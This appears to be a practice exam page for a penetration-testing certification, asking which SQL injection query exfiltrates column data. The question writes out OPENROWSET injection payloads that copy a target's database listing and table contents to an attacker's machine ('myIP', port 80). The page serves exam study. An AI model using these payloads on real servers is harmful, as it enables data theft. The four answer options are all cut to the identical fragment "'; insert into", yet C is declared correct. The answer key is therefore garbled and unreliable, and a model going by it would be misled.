412-79V8 · Question #135
A penetration tester tries to transfer the database from the target machine to a different machine. For this, he uses OPENROWSET to link the target database to his own database, replicates the…
The correct answer is C. '; insert into. See the full explanation below for the reasoning.
Question
A penetration tester tries to transfer the database from the target machine to a different machine. For this, he uses OPENROWSET to link the target database to his own database, replicates the database structure, and transfers the data to his machine by via a connection to the remote machine on port 80. The query he used to transfer databases was:
'; insert into OPENROWSET ('SQLoledb','uid=sa;pwd=Pass123; Network=DBMSSOCN;Address=myIP,80; ','select * from mydatabase..hacked_sysdatabases') select * from master.dbo.sysdatabases ? The query he used to transfer table 1 was:
'; insert into OPENROWSET('SQLoledb', 'uid=sa;pwd=Pass123;Network=DBMSSOCN; Address=myIP,80;',' select * from mydatabase..table1') select * from database..table1 ? What query does he need in order to transfer the column?
Options
- A'; insert into
- B'; insert into
- C'; insert into
- D'; insert into
How the community answered
(36 responses)- A6% (2)
- B14% (5)
- C69% (25)
- D11% (4)
Community Discussion
No community discussion yet for this question.